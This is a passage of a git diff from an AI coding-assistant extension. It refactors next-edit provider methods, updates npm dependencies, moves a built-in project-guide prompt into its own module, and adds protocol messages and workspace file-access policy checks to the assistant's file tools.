this.processDiffGroups( + const cursorLocalDiffGroup = await this.processDiffGroups({ diffGroups, currentLine, helper, @@ -120,19 +145,21 @@ export abstract class BaseNextEditModelProvider { prefetchQueue, promptMetadata, ide, - ); + profileType, + }); if (cursorLocalDiffGroup) { - return await this.createOutcomeFromDiffGroup( - cursorLocalDiffGroup, + return await this.createOutcomeFromDiffGroup({ + diffGroup: cursorLocalDiffGroup, helper, startTime, llm, - helper.input.completionId, - true, + completionId: helper.input.completionId, + isCurrentCursorGroup: true, promptMetadata, ide, - ); + profileType, + }); } return undefined; @@ -141,23 +168,35 @@ export abstract class BaseNextEditModelProvider { /** * Process diff groups and find the one containing the cursor. */ - private async processDiffGroups( - diffGroups: DiffGroup[], - currentLine: number, - helper: HelperVars, - startTime: number, - llm: ILLM, - prefetchQueue: PrefetchQueue, - promptMetadata: PromptMetadata, - ide: IDE, - ): Promise { + private async processDiffGroups(params: { + diffGroups: DiffGroup[]; + currentLine: number; + helper: HelperVars; + startTime: number; + llm: ILLM; + prefetchQueue: PrefetchQueue; + promptMetadata: PromptMetadata; + ide: IDE; + profileType?: "local" | "platform" | "control-plane"; + }): Promise { + const { + diffGroups, + currentLine, + helper, + startTime, + llm, + prefetchQueue, + promptMetadata, + ide, + profileType, + } = params; let cursorGroup: DiffGroup | undefined; for (const group of diffGroups) { if (currentLine >= group.startLine && currentLine <= group.endLine) { cursorGroup = group; } else { - await this.addDiffGroupToPrefetchQueue( + await this.addDiffGroupToPrefetchQueue({ group, helper, startTime, @@ -165,22 +204,34 @@ export abstract class BaseNextEditModelProvider { prefetchQueue, promptMetadata, ide, - ); + profileType, + }); } } return cursorGroup; } - private async addDiffGroupToPrefetchQueue( - group: DiffGroup, - helper: HelperVars, - startTime: number, - llm: ILLM, - prefetchQueue: PrefetchQueue, - promptMetadata: PromptMetadata, - ide: IDE, - ): Promise { + private async addDiffGroupToPrefetchQueue(params: { + group: DiffGroup; + helper: HelperVars; + startTime: number; + llm: ILLM; + prefetchQueue: PrefetchQueue; + promptMetadata: PromptMetadata; + ide: IDE; + profileType?: "local" | "platform" | "control-plane"; + }): Promise { + const { + group, + helper, + startTime, + llm, + prefetchQueue, + promptMetadata, + ide, + profileType, + } = params; // Extract lines that are not old. const groupContent = group.lines .filter((l) => l.type !== "old") @@ -223,6 +274,7 @@ export abstract class BaseNextEditModelProvider { completionId: uuidv4(), // Generate a new ID for this prefetched item. diffLines: group.lines, ide, + profileType, }); prefetchQueue.enqueueProcessed({ @@ -231,16 +283,28 @@ export abstract class BaseNextEditModelProvider { }); } - private async createOutcomeFromDiffGroup( - diffGroup: DiffGroup, - helper: HelperVars, - startTime: number, - llm: ILLM, - completionId: string, - isCurrentCursorGroup: boolean, - promptMetadata: PromptMetadata, - ide: IDE, - ): Promise { + private async createOutcomeFromDiffGroup(params: { + diffGroup: DiffGroup; + helper: HelperVars; + startTime: number; + llm: ILLM; + completionId: string; + isCurrentCursorGroup: boolean; + promptMetadata: PromptMetadata; + ide: IDE; + profileType?: "local" | "platform" | "control-plane"; + }): Promise { + const { + diffGroup, + helper, + startTime, + llm, + completionId, + isCurrentCursorGroup, + promptMetadata, + ide, + profileType, + } = params; const groupContent = diffGroup.lines .filter((l) => l.type !== "old") .map((l) => l.line) @@ -278,6 +342,7 @@ export abstract class BaseNextEditModelProvider { completionId, diffLines: diffGroup.lines, ide, + profileType, }); return outcomeNext; @@ -299,6 +364,7 @@ export abstract class BaseNextEditModelProvider { completionId?: string; diffLines: DiffLine[]; ide: IDE; + profileType?: "local" | "platform" | "control-plane"; }): Promise { return { elapsed: Date.now() - outcomeCtx.startTime, @@ -309,6 +375,7 @@ export abstract class BaseNextEditModelProvider { outcomeCtx.completionId || outcomeCtx.helper.input.completionId, gitRepo: await outcomeCtx.ide.getRepoName(outcomeCtx.helper.filepath), uniqueId: await outcomeCtx.ide.getUniqueId(), + requestId: outcomeCtx.llm.lastRequestId, timestamp: Date.now(), fileUri: outcomeCtx.helper.filepath, workspaceDirUri: @@ -324,6 +391,7 @@ export abstract class BaseNextEditModelProvider { editableRegionStartLine: outcomeCtx.editableRegionStartLine, editableRegionEndLine: outcomeCtx.editableRegionEndLine, diffLines: outcomeCtx.diffLines, + profileType: outcomeCtx.profileType, ...outcomeCtx.helper.options, }; } diff --git a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts index 3d234a559..49527c84e 100644 --- a/core/nextEdit/providers/MercuryCoderNextEditProvider.ts +++ b/core/nextEdit/providers/MercuryCoderNextEditProvider.ts @@ -43,7 +43,7 @@ export class MercuryCoderProvider extends BaseNextEditModelProvider { // Extract the code between the markdown code blocks. return message.slice( message.indexOf("```\n") + "```\n".length, - message.lastIndexOf("\n\n```"), + message.lastIndexOf("\n```"), ); } diff --git a/core/nextEdit/types.ts b/core/nextEdit/types.ts index 8d08f8216..2d742c697 100644 --- a/core/nextEdit/types.ts +++ b/core/nextEdit/types.ts @@ -50,6 +50,7 @@ export interface NextEditOutcome extends TabAutocompleteOptions { completionId: string; gitRepo?: string; uniqueId: string; + requestId?: string; timestamp: number; // New for Next Edit. @@ -67,6 +68,7 @@ export interface NextEditOutcome extends TabAutocompleteOptions { editableRegionStartLine: number; editableRegionEndLine: number; diffLines: DiffLine[]; + profileType?: "local" | "platform" | "control-plane"; } export interface PromptMetadata { diff --git a/core/package-lock.json b/core/package-lock.json index 48c1cb090..57518a6eb 100644 --- a/core/package-lock.json +++ b/core/package-lock.json @@ -9,6 +9,7 @@ "version": "1.1.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -75,6 +76,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", @@ -152,7 +154,7 @@ }, "../packages/config-yaml": { "name": "@continuedev/config-yaml", - "version": "1.14.0", + "version": "1.23.0", "license": "Apache-2.0", "dependencies": { "@continuedev/config-types": "^1.0.14", @@ -201,7 +203,7 @@ }, "../packages/llm-info": { "name": "@continuedev/llm-info", - "version": "1.0.9", + "version": "1.0.10", "license": "Apache-2.0", "devDependencies": { "@semantic-release/changelog": "^6.0.3", @@ -215,14 +217,15 @@ }, "../packages/openai-adapters": { "name": "@continuedev/openai-adapters", - "version": "1.14.0", + "version": "1.15.0", "license": "Apache-2.0", "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.842.0", "@aws-sdk/credential-providers": "^3.840.0", "@continuedev/config-types": "^1.0.14", "@continuedev/config-yaml": "^1.14.0", - "@continuedev/fetch": "^1.1.0", + "@continuedev/fetch": "^1.5.0", "dotenv": "^16.5.0", "google-auth-library": "^10.1.0", "json-schema": "^0.4.0", @@ -297,6 +300,15 @@ "node": ">=6.0.0" } }, + "node_modules/@anthropic-ai/sdk": { + "version": "0.62.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.62.0.tgz", + "integrity": "sha512-gT2VFKX0gSp7KJNlav/vzRFjJOPYDZxCJRx7MYUc+fqURc5aS6OI/UJeD2KytJkjsIWv0OOwH1ePc1S5QE2GZw==", + "license": "MIT", + "bin": { + "anthropic-ai-sdk": "bin/cli" + } + }, "node_modules/@apache-arrow/ts": { "version": "14.0.2", "resolved": "https://registry.npmjs.org/@apache-arrow/ts/-/ts-14.0.2.tgz", @@ -16353,9 +16365,9 @@ } }, "node_modules/prebuild-install/node_modules/tar-fs": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.3.tgz", - "integrity": "sha512-090nwYJDmlhwFwEW3QQl+vaNnxsO2yVsd45eTKRBzSzu+hlb1w2K9inVq5b0ngXuLVqQ4ApvsUHHnu/zQNkWAg==", + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.4.tgz", + "integrity": "sha512-mDAjwmZdh7LTT6pNleZ05Yt65HC3E+NiQzl672vQG38jIrehtJk/J3mNwIg+vShQPcLF/LV7CMnDW6vjj6sfYQ==", "license": "MIT", "dependencies": { "chownr": "^1.1.1", @@ -18312,9 +18324,9 @@ } }, "node_modules/tar-fs": { - "version": "3.0.9", - "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.0.9.tgz", - "integrity": "sha512-XF4w9Xp+ZQgifKakjZYmFdkLoSWd34VGKcsTCwlNWM7QG3ZbaxnTsaBwnjFZqHRf/rROxaR8rXnbtwdvaDI+lA==", + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-3.1.1.tgz", + "integrity": "sha512-LZA0oaPOc2fVo82Txf3gw+AkEd38szODlptMYejQUhndHMLQ9M059uXR+AfS7DNo0NpINvSqDsvyaCrBVkptWg==", "license": "MIT", "dependencies": { "pump": "^3.0.0", @@ -19196,6 +19208,17 @@ "webpack-virtual-modules": "^0.5.0" } }, + "node_modules/untildify": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/untildify/-/untildify-6.0.0.tgz", + "integrity": "sha512-sA2YTBvW2F463GvSbiZtso+dpuQV+B7xX9saX30SGrR5Fyx4AUcvA/zN+ShAkABKUKVyDaHECsJrHv5ToTuHsQ==", + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, "node_modules/update-browserslist-db": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz", diff --git a/core/package.json b/core/package.json index db53c661a..e86f1095f 100644 --- a/core/package.json +++ b/core/package.json @@ -54,6 +54,7 @@ "vitest": "^3.1.4" }, "dependencies": { + "@anthropic-ai/sdk": "^0.62.0", "@aws-sdk/client-bedrock-runtime": "^3.779.0", "@aws-sdk/client-sagemaker-runtime": "^3.777.0", "@aws-sdk/credential-providers": "^3.778.0", @@ -120,6 +121,7 @@ "system-ca": "^1.0.3", "tar": "^7.4.3", "tree-sitter-wasms": "^0.1.11", + "untildify": "^6.0.0", "uuid": "^9.0.1", "vectordb": "^0.4.20", "web-tree-sitter": "^0.21.0", diff --git a/core/promptFiles/getPromptFiles.ts b/core/promptFiles/getPromptFiles.ts index 8ca4f1966..da6628d2f 100644 --- a/core/promptFiles/getPromptFiles.ts +++ b/core/promptFiles/getPromptFiles.ts @@ -1,86 +1,15 @@ -import { DEFAULT_PROMPTS_FOLDER_V1 } from "."; +import path from "path"; +import { + DEFAULT_PROMPTS_FOLDER_V1, + DEFAULT_PROMPTS_FOLDER_V2, + DEFAULT_RULES_FOLDER, + RULES_DIR_NAME, +} from "."; import { IDE } from ".."; import { walkDir } from "../indexing/walkDir"; -import { readAllGlobalPromptFiles } from "../util/paths"; +import { getContinueGlobalPath, readAllGlobalPromptFiles } from "../util/paths"; import { joinPathsToUri } from "../util/uri"; -// The hardcoded init prompt content -const INIT_PROMPT_CONTENT = `name: Init -description: Initialize Codebase ---- -You are an expert development assistant. Your task is to create a comprehensive CONTINUE.md project guide for the user's codebase to help them and their team better understand and work with the project. - -## Step 1: Check Required Tools -First, verify that you have access to the necessary tools: -- builtin_file_glob_search: To discover project files -- builtin_read_file: To analyze file contents -- builtin_ls: To explore directory structure -- builtin_create_new_file: To generate the CONTINUE.md file - -If any of these tools are unavailable, inform the user that they need to activate them and enable "Agent Mode" in Continue before proceeding. - -## Step 2: Project Analysis -Analyze the project structure and key files to understand: -- The programming languages and frameworks used -- The overall architecture and organization -- Key components and their responsibilities -- Important configuration files -- Build/deployment system - -## Step 3: Generate CONTINUE.md -Create a comprehensive CONTINUE.md file in the .continue/rules/ directory with the following sections: - -1. **Project Overview** - - Brief description of the project's purpose - - Key technologies used - - High-level architecture - -2. **Getting Started** - - Prerequisites (required software, dependencies) - - Installation instructions - - Basic usage examples - - Running tests - -3. **Project Structure** - - Overview of main directories and their purpose - - Key files and their roles - - Important configuration files - -4. **Development Workflow** - - Coding standards or conventions - - Testing approach - - Build and deployment process - - Contribution guidelines - -5. **Key Concepts** - - Domain-specific terminology - - Core abstractions - - Design patterns used - -6. **Common Tasks** - - Step-by-step guides for frequent development tasks - - Examples of common operations - -7. **Troubleshooting** - - Common issues and their solutions - - Debugging tips - -8. **References** - - Links to relevant documentation - - Important resources - -Make sure your analysis is thorough but concise. Focus on information that would be most helpful to developers working on the project. If certain information isn't available from the codebase, make reasonable assumptions but mark these sections as needing verification. - -## Step 4: Finalize -After creating the .continue/rules/CONTINUE.md file, provide a summary of what you've created and remind the user to: -1. Review and edit the file as needed -2. Commit it to their repository to share with their team -3. Explain that Continue will automatically load this file into context when working with the project - -Also inform the user that they can create additional rules.md files in subdirectories for more specific documentation related to those components.`; - -export const DEFAULT_PROMPTS_FOLDER_V2 = ".continue/prompts"; - export async function getPromptFilesFromDir( ide: IDE, dir: string, @@ -95,7 +24,9 @@ export async function getPromptFilesFromDir( const uris = await walkDir(dir, ide, { source: "get dir prompt files", }); - const promptFilePaths = uris.filter((p) => p.endsWith(".prompt")); + const promptFilePaths = uris.filter( + (p) => p.endsWith(".prompt") || p.endsWith(".md"), + ); const results = promptFilePaths.map(async (uri) => { const content = await ide.readFile(uri); // make a try catch return { path: uri, content }; @@ -115,7 +46,7 @@ export async function getAllPromptFiles( const workspaceDirs = await ide.getWorkspaceDirs(); let promptFiles: { path: string; content: string }[] = []; - let dirsToCheck = [DEFAULT_PROMPTS_FOLDER_V2]; + let dirsToCheck = [DEFAULT_PROMPTS_FOLDER_V2, DEFAULT_RULES_FOLDER]; if (checkV1DefaultFolder) { dirsToCheck.push(DEFAULT_PROMPTS_FOLDER_V1); } @@ -131,22 +62,19 @@ export async function getAllPromptFiles( await Promise.all(fullDirs.map((dir) => getPromptFilesFromDir(ide, dir))) ).flat(); - // Also read from ~/.continue/.prompts + // Also read from ~/.continue/prompts and ~/.continue/rules promptFiles.push(...readAllGlobalPromptFiles()); - // Add hardcoded init prompt - promptFiles.push({ - path: "builtin:/init.prompt", - content: INIT_PROMPT_CONTENT, - }); + const promptFilesFromRulesDirectory = readAllGlobalPromptFiles( + path.join(getContinueGlobalPath(), RULES_DIR_NAME), + ); + promptFiles.push(...promptFilesFromRulesDirectory); - return await Promise.all( + const result = await Promise.all( promptFiles.map(async (file) => { - if (file.path.startsWith("builtin:")) { - return file; - } const content = await ide.readFile(file.path); return { path: file.path, content }; }), ); + return result; } diff --git a/core/promptFiles/index.ts b/core/promptFiles/index.ts index ee5fb6b84..58be45fe8 100644 --- a/core/promptFiles/index.ts +++ b/core/promptFiles/index.ts @@ -2,6 +2,11 @@ import { ContextProviderName } from ".."; export const DEFAULT_PROMPTS_FOLDER_V1 = ".prompts"; export const DEFAULT_PROMPTS_FOLDER_V2 = ".continue/prompts"; +export const DEFAULT_RULES_FOLDER = ".continue/rules"; + +// Subdirectory names (without .continue/ prefix) +export const RULES_DIR_NAME = "rules"; +export const PROMPTS_DIR_NAME = "prompts"; export const SUPPORTED_PROMPT_CONTEXT_PROVIDERS: ContextProviderName[] = [ "file", diff --git a/core/promptFiles/initPrompt.ts b/core/promptFiles/initPrompt.ts new file mode 100644 index 000000000..f436d6e43 --- /dev/null +++ b/core/promptFiles/initPrompt.ts @@ -0,0 +1,86 @@ +import { SlashCommandWithSource } from ".."; +import { RULES_MARKDOWN_FILENAME } from "../llm/rules/constants"; +import { BuiltInToolNames } from "../tools/builtIn"; + +const initFilename = "CONTINUE.md"; + +// Prompt for init slash command +export const INIT_PROMPT_CONTENT = ` +You are an expert development assistant. Your task is to create a comprehensive ${initFilename} project guide for the user's codebase to help them and their team better understand and work with the project. + +## Step 1: Check Required Tools +First, verify that you have access to the necessary tools: +- ${BuiltInToolNames.FileGlobSearch}: To discover project files +- ${BuiltInToolNames.ReadFile}: To analyze file contents +- ${BuiltInToolNames.LSTool}: To explore directory structure +- ${BuiltInToolNames.CreateNewFile}: To generate the ${initFilename} file + +If any of these tools are unavailable, inform the user that they need to activate them and enable "Agent Mode" in Continue before proceeding. + +## Step 2: Project Analysis +Analyze the project structure and key files to understand: +- The programming languages and frameworks used +- The overall architecture and organization +- Key components and their responsibilities +- Important configuration files +- Build/deployment system + +## Step 3: Generate ${initFilename} +Create a comprehensive ${initFilename} file in the .continue/rules/ directory with the following sections: + +1. **Project Overview** + - Brief description of the project's purpose + - Key technologies used + - High-level architecture + +2. **Getting Started** + - Prerequisites (required software, dependencies) + - Installation instructions + - Basic usage examples + - Running tests + +3. **Project Structure** + - Overview of main directories and their purpose + - Key files and their roles + - Important configuration files + +4. **Development Workflow** + - Coding standards or conventions + - Testing approach + - Build and deployment process + - Contribution guidelines + +5. **Key Concepts** + - Domain-specific terminology + - Core abstractions + - Design patterns used + +6. **Common Tasks** + - Step-by-step guides for frequent development tasks + - Examples of common operations + +7. **Troubleshooting** + - Common issues and their solutions + - Debugging tips + +8. **References** + - Links to relevant documentation + - Important resources + +Make sure your analysis is thorough but concise. Focus on information that would be most helpful to developers working on the project. If certain information isn't available from the codebase, make reasonable assumptions but mark these sections as needing verification. + +## Step 4: Finalize +After creating the .continue/rules/${initFilename} file, provide a summary of what you've created and remind the user to: +1. Review and edit the file as needed +2. Commit it to their repository to share with their team +3. Explain that Continue will automatically load this file into context when working with the project + +Also inform the user that they can create additional ${RULES_MARKDOWN_FILENAME} files in subdirectories for more specific documentation related to those components. +`.trim(); + +export const initSlashCommand: SlashCommandWithSource = { + name: "Init", + description: "Initialize Codebase", + source: "built-in", + prompt: INIT_PROMPT_CONTENT, +}; diff --git a/core/protocol/core.ts b/core/protocol/core.ts index cd977f581..b03b0e11a 100644 --- a/core/protocol/core.ts +++ b/core/protocol/core.ts @@ -14,6 +14,7 @@ import { SharedConfigSchema } from "../config/sharedConfig"; import { GlobalContextModelSelections } from "../util/GlobalContext"; import { + BaseSessionMetadata, BrowserSerializedContinueConfig, ChatMessage, CompiledMessagesResult, @@ -27,7 +28,6 @@ import { FileSymbolMap, IdeSettings, LLMFullCompletionOptions, - MCPServerStatus, MessageOption, ModelDescription, PromptLog, @@ -35,7 +35,6 @@ import { RangeInFileWithNextEditInfo, SerializedContinueConfig, Session, - BaseSessionMetadata, SiteIndexingConfig, SlashCommandDescWithSource, StreamDiffLinesPayload, @@ -49,12 +48,10 @@ import { ControlPlaneEnv, ControlPlaneSessionInfo, } from "../control-plane/AuthTypes"; -import { - FreeTrialStatus, - RemoteSessionMetadata, -} from "../control-plane/client"; +import { CreditStatus, RemoteSessionMetadata } from "../control-plane/client"; import { ProcessedItem } from "../nextEdit/NextEditPrefetchQueue"; import { NextEditOutcome } from "../nextEdit/types"; +import { ContinueErrorReason } from "../util/errors"; export enum OnboardingModes { API_KEY = "API Key", @@ -82,6 +79,7 @@ export type ToCoreFromIdeOrWebviewProtocol = { "history/load": [{ id: string }, Session]; "history/loadRemote": [{ remoteId: string }, Session]; "history/save": [Session, void]; + "history/share": [{ id: string; outputDir?: string }, void]; "history/clear": [undefined, void]; "devdata/log": [DevDataLogEvent, void]; "config/addOpenAiKey": [string, void]; @@ -93,6 +91,7 @@ export type ToCoreFromIdeOrWebviewProtocol = { void, ]; "config/addLocalWorkspaceBlock": [{ blockType: BlockType }, void]; + "config/addGlobalRule": [undefined, void]; "config/newPromptFile": [undefined, void]; "config/newAssistantFile": [undefined, void]; "config/ideSettingsUpdate": [IdeSettings, void]; @@ -117,10 +116,7 @@ export type ToCoreFromIdeOrWebviewProtocol = { ), void, ]; - "config/openProfile": [ - { profileId: string | undefined; element?: { sourceFile?: string } }, - void, - ]; + "config/openProfile": [{ profileId: string | undefined }, void]; "config/updateSharedConfig": [SharedConfigSchema, SharedConfigSchema]; "config/updateSelectedModel": [ { @@ -147,6 +143,7 @@ export type ToCoreFromIdeOrWebviewProtocol = { }, void, ]; + "mcp/setServerEnabled": [{ id: string; enabled: boolean }, void]; "mcp/getPrompt": [ { serverName: string; @@ -158,9 +155,20 @@ export type ToCoreFromIdeOrWebviewProtocol = { description: string | undefined; }, ]; - "mcp/startAuthentication": [MCPServerStatus, void]; - "mcp/removeAuthentication": [MCPServerStatus, void]; - + "mcp/startAuthentication": [ + { + serverId: string; + serverUrl: string; + }, + void, + ]; + "mcp/removeAuthentication": [ + { + serverId: string; + serverUrl: string; + }, + void, + ]; "context/getSymbolsForFiles": [{ uris: string[] }, FileSymbolMap]; "context/loadSubmenuItems": [{ title: string }, ContextSubmenuItem[]]; "autocomplete/complete": [AutocompleteInput, string[]]; @@ -233,6 +241,7 @@ export type ToCoreFromIdeOrWebviewProtocol = { AsyncGenerator, ]; streamDiffLines: [StreamDiffLinesPayload, AsyncGenerator]; + getDiffLines: [{ oldContent: string; newContent: string }, DiffLine[]]; "llm/compileChat": [ { messages: ChatMessage[]; options: LLMFullCompletionOptions }, CompiledMessagesResult, @@ -299,20 +308,33 @@ export type ToCoreFromIdeOrWebviewProtocol = { "auth/getAuthUrl": [{ useOnboarding: boolean }, { url: string }]; "tools/call": [ { toolCall: ToolCall }, - { contextItems: ContextItem[]; errorMessage?: string }, + { + contextItems: ContextItem[]; + errorMessage?: string; + errorReason?: ContinueErrorReason; + }, ]; "tools/evaluatePolicy": [ - { toolName: string; basePolicy: ToolPolicy; args: Record }, + { + toolName: string; + basePolicy: ToolPolicy; + parsedArgs: Record; + processedArgs?: Record; + }, { policy: ToolPolicy; displayValue?: string }, ]; + "tools/preprocessArgs": [ + { toolName: string; args: Record }, + { + preprocessedArgs?: Record; + errorReason?: ContinueErrorReason; + errorMessage?: string; + }, + ]; "clipboardCache/add": [{ content: string }, void]; "controlPlane/openUrl": [{ path: string; orgSlug?: string }, void]; "controlPlane/getEnvironment": [undefined, ControlPlaneEnv]; - "controlPlane/getFreeTrialStatus": [undefined, FreeTrialStatus | null]; - "controlPlane/getModelsAddOnUpgradeUrl": [ - { vsCodeUriScheme?: string }, - { url: string } | null, - ]; + "controlPlane/getCreditStatus": [undefined, CreditStatus | null]; isItemTooBig: [{ item: ContextItemWithId }, boolean]; didChangeControlPlaneSessionInfo: [ { sessionInfo: ControlPlaneSessionInfo | undefined }, diff --git a/core/protocol/ideWebview.ts b/core/protocol/ideWebview.ts index 232953f88..f1d269292 100644 --- a/core/protocol/ideWebview.ts +++ b/core/protocol/ideWebview.ts @@ -3,10 +3,13 @@ import { ToWebviewFromIdeOrCoreProtocol } from "./webview"; import { AcceptOrRejectDiffPayload, + AddToChatPayload, ApplyState, ApplyToFilePayload, + ContextItemWithId, HighlightedCodePayload, MessageContent, + RangeInFile, RangeInFileWithContents, SetCodeToEditPayload, ShowFilePayload, @@ -48,6 +51,39 @@ export type ToIdeFromWebviewProtocol = ToIdeFromWebviewOrCoreProtocol & { ]; "edit/addCurrentSelection": [undefined, void]; "edit/clearDecorations": [undefined, void]; + "session/share": [{ sessionId: string }, void]; + createBackgroundAgent: [ + { + content: MessageContent; + contextItems: ContextItemWithId[]; + selectedCode: RangeInFile[]; + organizationId?: string; + agent?: string; + }, + void, + ]; + listBackgroundAgents: [ + { organizationId?: string; limit?: number }, + { + agents: Array<{ + id: string; + name: string | null; + status: string; + repoUrl: string; + createdAt: string; + metadata?: { + github_repo?: string; + }; + }>; + totalCount: number; + }, + ]; + openAgentLocally: [ + { + agentSessionId: string; + }, + void, + ]; }; export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { @@ -64,6 +100,7 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { focusContinueSessionId: [{ sessionId: string | undefined }, void]; newSession: [undefined, void]; + loadAgentSession: [{ session: any }, void]; setTheme: [{ theme: any }, void]; setColors: [{ [key: string]: string }, void]; "jetbrains/editorInsetRefresh": [undefined, void]; @@ -77,4 +114,5 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & { exitEditMode: [undefined, void]; focusEdit: [undefined, void]; generateRule: [undefined, void]; + addToChat: [AddToChatPayload, void]; }; diff --git a/core/protocol/passThrough.ts b/core/protocol/passThrough.ts index 60a971c36..f77b7a05d 100644 --- a/core/protocol/passThrough.ts +++ b/core/protocol/passThrough.ts @@ -22,6 +22,7 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] = "config/newAssistantFile", "config/ideSettingsUpdate", "config/addLocalWorkspaceBlock", + "config/addGlobalRule", "config/getSerializedProfileInfo", "config/deleteModel", "config/refreshProfiles", @@ -32,6 +33,7 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] = "mcp/getPrompt", "mcp/startAuthentication", "mcp/removeAuthentication", + "mcp/setServerEnabled", "context/getContextItems", "context/getSymbolsForFiles", "context/loadSubmenuItems", @@ -80,9 +82,9 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] = "didChangeSelectedOrg", "tools/call", "tools/evaluatePolicy", + "tools/preprocessArgs", "controlPlane/getEnvironment", - "controlPlane/getFreeTrialStatus", - "controlPlane/getModelsAddOnUpgradeUrl", + "controlPlane/getCreditStatus", "controlPlane/openUrl", "isItemTooBig", "process/markAsBackgrounded", diff --git a/core/tools/callTool.ts b/core/tools/callTool.ts index faec8a94b..8d695e1e1 100644 --- a/core/tools/callTool.ts +++ b/core/tools/callTool.ts @@ -1,6 +1,7 @@ import { CallToolResultSchema } from "@modelcontextprotocol/sdk/types.js"; import { ContextItem, Tool, ToolCall, ToolExtras } from ".."; import { MCPManagerSingleton } from "../context/mcp/MCPManagerSingleton"; +import { ContinueError, ContinueErrorReason } from "../util/errors"; import { canParseUrl } from "../util/url"; import { BuiltInToolNames } from "./builtIn"; @@ -197,6 +198,7 @@ export async function callTool( ): Promise<{ contextItems: ContextItem[]; errorMessage: string | undefined; + errorReason?: ContinueErrorReason; }> { try { const args = safeParseToolCallArgs(toolCall); @@ -214,12 +216,19 @@ export async function callTool( }; } catch (e) { let errorMessage = `${e}`; - if (e instanceof Error) { + let errorReason: ContinueErrorReason | undefined; + + if (e instanceof ContinueError) { + errorMessage = e.message; + errorReason = e.reason; + } else if (e instanceof Error) { errorMessage = e.message; } + return { contextItems: [], errorMessage, + errorReason, }; } } diff --git a/core/tools/constants.ts b/core/tools/constants.ts index 0b5278209..332a270ef 100644 --- a/core/tools/constants.ts +++ b/core/tools/constants.ts @@ -1,2 +1,4 @@ export const NO_TOOL_CALL_OUTPUT_MESSAGE = "No tool output"; export const CANCELLED_TOOL_CALL_MESSAGE = "The user cancelled this tool call."; +export const ERRORED_TOOL_CALL_OUTPUT_MESSAGE = + "There was an error calling the tool."; diff --git a/core/tools/definitions/createNewFile.ts b/core/tools/definitions/createNewFile.ts index 4d52cd665..7bfc3f8f0 100644 --- a/core/tools/definitions/createNewFile.ts +++ b/core/tools/definitions/createNewFile.ts @@ -1,5 +1,8 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; +import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; +import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const createNewFileTool: Tool = { type: "function", @@ -21,7 +24,7 @@ export const createNewFileTool: Tool = { filepath: { type: "string", description: - "The path where the new file should be created, relative to the root of the workspace", + "The path where the new file should be created. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI.", }, contents: { type: "string", @@ -38,4 +41,26 @@ export const createNewFileTool: Tool = { ["contents", "Contents of the file"], ], }, + preprocessArgs: async (args, { ide }) => { + const filepath = args.filepath as string; + const resolvedPath = await resolveInputPath(ide, filepath); + + // Store the resolved path info in args for policy evaluation + return { + resolvedPath, + }; + }, + evaluateToolCallPolicy: ( + basePolicy: ToolPolicy, + _: Record, + processedArgs?: Record, + ): ToolPolicy => { + const resolvedPath = processedArgs?.resolvedPath as + | ResolvedPath + | null + | undefined; + if (!resolvedPath) return basePolicy; + + return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); + }, }; diff --git a/core/tools/definitions/grepSearch.ts b/core/tools/definitions/grepSearch.ts index c9e78d62d..bac426f71 100644 --- a/core/tools/definitions/grepSearch.ts +++ b/core/tools/definitions/grepSearch.ts @@ -13,7 +13,7 @@ export const grepSearchTool: Tool = { function: { name: BuiltInToolNames.GrepSearch, description: - "Perform a search over the repository using ripgrep. Will not include results for many build, cache, secrets dirs/files. Output may be truncated, so use targeted queries", + "Performs a regex search over the repository using ripgrep. Will not include results for many build, cache, secrets dirs/files. Output may be truncated, so use targeted queries", parameters: { type: "object", required: ["query"], @@ -21,7 +21,7 @@ export const grepSearchTool: Tool = { query: { type: "string", description: - "The search query to use. Must be a valid ripgrep regex expression, escaped where needed", + "The search query to use. Must be the exact string to be searched or a valid ripgrep expression. Use regex with alternation (e.g., 'word1|word2|word3) or character classes to find multiple potential words in a single search.", }, }, }, diff --git a/core/tools/definitions/ls.ts b/core/tools/definitions/ls.ts index 49ac5b1c6..4892f720b 100644 --- a/core/tools/definitions/ls.ts +++ b/core/tools/definitions/ls.ts @@ -1,6 +1,9 @@ import { Tool } from "../.."; +import { ToolPolicy } from "@continuedev/terminal-security"; +import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; +import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const lsTool: Tool = { type: "function", @@ -20,7 +23,7 @@ export const lsTool: Tool = { dirPath: { type: "string", 